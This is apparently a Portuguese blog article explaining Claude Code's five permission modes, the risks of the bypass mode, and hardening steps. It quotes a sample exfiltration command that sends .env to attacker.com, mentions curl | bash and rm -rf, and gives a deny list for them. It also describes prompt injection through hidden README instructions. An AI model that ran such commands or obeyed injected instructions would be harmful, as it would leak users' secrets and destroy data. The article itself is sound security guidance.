O Claude Code possui um "modo bypass de permissões" (bypassPermissions) que executa todas as operações automaticamente, sem nenhuma confirmação. É extremamente útil para automação em pipelines CI/CD e contêineres Docker, mas se usado de forma inadequada pode causar sérios riscos de segurança.

Neste artigo, organizamos as diferenças entre os 5 modos de permissão do Claude Code e explicamos a praticidade, os riscos e como usar o modo bypass com segurança, com exemplos concretos.

1. O que é o modo bypass de permissões

O modo bypass de permissões é um modo que ignora todas as confirmações durante o uso do Claude Code. Normalmente, o Claude Code pede a aprovação do usuário antes de editar arquivos ou executar comandos no terminal, mas nesse modo nenhuma dessas confirmações é exibida.

Existem duas formas de ativá-lo.


# Start with flag
claude --dangerously-skip-permissions

# Or specify permission mode
claude --permission-mode bypass

Como o próprio nome do flag indica — "dangerously" (perigosamente) —, a Anthropic alerta para o uso cauteloso desse modo. O flag existe para permitir automação em ambientes completamente isolados (contêineres e VMs).

Vale ressaltar que, mesmo no modo bypass, a escrita nos diretórios de configuração como .git/, .vscode/, .idea/ e .claude/ continua bloqueada. Esta é uma medida mínima de segurança.

2. Os 5 modos de permissão do Claude Code

O Claude Code possui 5 níveis de modo de permissão, cada um com um escopo diferente de "o que pode ser feito sem confirmação".

Tabela comparativa dos 5 modos de permissão do Claude Code: default, acceptEdits, plan, auto e bypassPermissions

Detalhes de cada modo

default (padrão): Apenas a leitura de arquivos não requer confirmação. Edição e execução de comandos precisam da aprovação do usuário. Ideal para iniciantes e ambientes com dados sensíveis.

acceptEdits (aprovação automática de edições): Leitura e edição de arquivos sem confirmação. A execução de comandos no terminal ainda requer aprovação. Um modo equilibrado, recomendado para o dia a dia de programação.

plan (modo planejamento): Somente leitura — não é possível gravar arquivos nem executar comandos. Usado para investigar código e avaliar abordagens de design.

auto (aprovação automática): Quase todas as operações são executadas sem confirmação. Porém, em segundo plano, um classificador de segurança (safety classifier) está ativo e bloqueia operações consideradas perigosas. Indicado para tarefas automatizadas de longa duração.

bypassPermissions (bypass de permissões): Todos os mecanismos de verificação são desativados, incluindo o classificador de segurança. Projetado para uso em contêineres e VMs — a Anthropic não recomenda o uso em ambientes locais.

Além do flag na inicialização via CLI, a troca de modo de permissão pode ser feita de forma interativa com Shift+Tab. Também funciona no VS Code, JetBrains e no app desktop.

3. Quando o modo bypass é útil

O modo bypass não é apenas "perigoso". Usado no ambiente certo, ele aumenta significativamente a produtividade.

Uso em pipelines CI/CD

Em pipelines CI/CD como GitHub Actions ou GitLab CI, não há um usuário para responder às confirmações interativas. Com o modo bypass, é possível automatizar completamente testes, revisão de código e geração de documentação.


# Example usage in GitHub Actions
claude --dangerously-skip-permissions \
  -p "Run the tests and report the results"

Uso dentro de contêineres Docker

Quando executado em contêineres descartáveis, não importa se o contêiner for danificado. A "periculosidade" do modo bypass é neutralizada pelo isolamento do contêiner.

Processamento em lote de muitos arquivos

Em tarefas que envolvem a modificação de mais de 100 arquivos de uma vez, as confirmações a cada operação geram um overhead significativo. Em ambientes isolados, o modo bypass permite processar tudo de forma eficiente.

Integração com scripts de automação

Processamentos em lote periódicos e pipelines de geração de código precisam funcionar sem intervenção humana. O modo bypass é essencial para esse tipo de operação headless.

4. 5 riscos de segurança

Usar o modo bypass em ambientes não isolados pode gerar os seguintes riscos graves.

5 riscos de segurança do modo bypass: injeção de prompt, execução arbitrária de comandos, vazamento de dados, escalação de operações e operações destrutivas irreversíveis

Risco 1: Injeção de prompt

Este é o risco mais grave. Instruções ocultas inseridas em código ou arquivos maliciosos (por exemplo, comandos escondidos em READMEs ou package.json) podem ser executadas sem nenhuma verificação.

No modo normal, uma confirmação é exibida antes da execução de comandos suspeitos, permitindo que o usuário perceba e bloqueie. No modo bypass, essa barreira de defesa não existe.

Exemplo concreto

Se o README de um repositório externo contiver um comentário oculto como "", no modo bypass ele pode ser executado sem confirmação.

Risco 2: Execução arbitrária de comandos

curl | bash, rm -rf, instalação de pacotes — qualquer comando no terminal é executado imediatamente. No modo auto, o classificador de segurança bloqueia comandos perigosos, mas no modo bypass esse classificador também é desativado.

Risco 3: Vazamento de dados

Comandos que enviam informações sensíveis para endpoints externos — como arquivos .env, tokens de autenticação e chaves de API — podem ser executados sem confirmação. Por exemplo, um comando como curl -d @.env https://attacker.com.

Risco 4: Escalação de operações

Uma tarefa que começou como simples edição de arquivos pode evoluir sem aviso para deploy em produção ou migrations no banco de dados. No modo normal, confirmações são solicitadas em cada etapa, mas no modo bypass essas verificações graduais não existem.

Risco 5: Operações destrutivas irreversíveis

git push --force, exclusão definitiva de arquivos, DROP TABLE no banco de dados — existe o risco de operações que não podem ser desfeitas serem executadas sem confirmação.

5. Medidas para uso seguro

Se você precisa usar o modo bypass, adote as seguintes medidas de segurança.

Medida 1: Limite o uso a contêineres e VMs

Esta é a medida mais importante. Use o modo bypass sempre em ambientes isolados. Contêineres Docker, VMs e runners de CI como o GitHub Actions se enquadram nessa categoria. Evite executá-lo diretamente no sistema operacional do host.

Configuração recomendada

Execute o Claude Code dentro do Docker, limitando os volumes montados ao diretório de trabalho. Nunca monte o .env ou as chaves SSH do host.

Medida 2: Considere primeiro o modo auto

Na maioria dos casos, o modo auto é suficiente. Ele conta com o classificador de segurança em segundo plano, que bloqueia comandos claramente perigosos. Evite escolher o modo bypass apenas porque "as confirmações são inconvenientes".

Medida 3: Controle permissões com allowlist

Com o sistema de regras de permissão do Claude Code, é possível aprovar automaticamente apenas comandos específicos. Em vez do modo bypass, adicionar os comandos necessários a uma allowlist é uma abordagem mais segura.


# Permission settings example in .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

As regras de permissão são avaliadas na ordem deny -> ask -> allow. Como deny tem a prioridade mais alta, se você negar explicitamente comandos perigosos, eles nunca serão sobrescritos por regras allow.

Medida 4: Monitore com Hooks

Com a funcionalidade Hooks do Claude Code (hooks PreToolUse / PostToolUse), é possível executar scripts personalizados antes e depois do uso de ferramentas. Porém, um ponto importante: no modo bypass, os Hooks também são desativados.

Por isso, o monitoramento via Hooks é mais eficaz quando combinado com o modo auto.


# PreToolUse hook example (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": "echo $CLAUDE_TOOL_INPUT | check-safety.sh"
      }]
    }]
  }
}

Medida 5: Restrinja o acesso à rede

Mesmo dentro de contêineres, restringir o acesso de rede externo reduz significativamente o risco de vazamento de dados. O ideal é permitir apenas os endpoints necessários (como a API da Anthropic).

Medida 6: Revise rigorosamente após o uso

Após trabalhar no modo bypass, confira sempre as alterações com git diff. Crie o hábito de verificar se não há mudanças indesejadas ou vazamento de informações sensíveis.

6. Guia de escolha do modo de permissão

Quando estiver em dúvida sobre qual modo usar, consulte o fluxograma a seguir.

Fluxograma de escolha do modo de permissão: como selecionar o modo ideal de acordo com a tarefa

Configurações recomendadas por cenário

Programação no dia a dia: O modo acceptEdits é o mais recomendado. A edição de arquivos flui normalmente e a confirmação aparece apenas na execução de comandos.

Investigação e design de código: Com o modo plan, não há risco de alterar algo por engano. Como é somente leitura, você pode explorar o codebase com tranquilidade.

Tarefas automatizadas de longa duração: O modo auto + ambiente sandbox é a melhor combinação. O classificador de segurança garante um nível de proteção durante a automação.

Pipelines CI/CD: A combinação modo bypass + isolamento em contêiner é adequada. Não esqueça de restringir a rede e minimizar os volumes montados.

Se quiser conhecer outras funcionalidades do Claude Code, confira As diferenças entre as 3 funcionalidades do Claude. Para informações sobre planos e preços, veja Claude vs ChatGPT: comparativo de preços.

7. Resumo

O modo bypass de permissões do Claude Code é uma ferramenta poderosa quando usada no ambiente certo, mas pode causar incidentes graves de segurança se for mal utilizada.

Pontos-chave deste artigo

  • O Claude Code tem 5 níveis de modo de permissão, e o modo bypass é o de maior risco
  • O modo bypass deve ser considerado exclusivo para contêineres, VMs e ambientes CI/CD
  • Os principais riscos são injeção de prompt, vazamento de dados e operações irreversíveis
  • Na maioria dos casos, a combinação modo auto + regras de permissão é suficiente
  • Ao usá-lo, aplique restrição de rede, limitação de volumes e revisão pós-uso sem falta

Se a segurança no uso de ferramentas de IA te preocupa, faça o diagnóstico de nível de IA para avaliar seu grau de letramento em IA. Para aprender sobre Claude Code de forma estruturada, acesse o curso introdutório.

FAQ

Posso usar o modo bypass na programação do dia a dia?

Não é recomendado. Para o trabalho cotidiano, use o modo acceptEdits (aprovação automática de edições) ou o modo auto. O modo bypass foi projetado para ambientes completamente isolados, como contêineres Docker e pipelines CI/CD. Usá-lo no ambiente de desenvolvimento local traz riscos de injeção de prompt e execução involuntária de comandos.

Qual a diferença entre o modo auto e o modo bypass?

O modo auto opera com um classificador de segurança em segundo plano que bloqueia operações consideradas perigosas. Já o modo bypass desativa todas as verificações, incluindo esse classificador. Além disso, no modo auto os Hooks (PreToolUse / PostToolUse) funcionam normalmente, enquanto no modo bypass eles também ficam desativados.

Existe alguma operação que é bloqueada mesmo no modo bypass?

Sim. A escrita nos diretórios .git/, .vscode/, .idea/ e .claude/ continua bloqueada mesmo no modo bypass. Como são diretórios importantes relacionados à configuração do ambiente de desenvolvimento, essa proteção mínima foi mantida. Porém, praticamente todas as outras operações com arquivos e comandos no terminal não possuem restrições.

As regras de permissão (allow/deny) podem ser usadas junto com o modo bypass?

No modo bypass, a avaliação das regras de permissão é completamente ignorada, então usá-las em conjunto não tem efeito. Se quiser aproveitar as regras de permissão, use o modo auto ou acceptEdits. As regras são avaliadas na ordem deny -> ask -> allow, com deny tendo a maior prioridade, o que permite bloquear comandos específicos com segurança.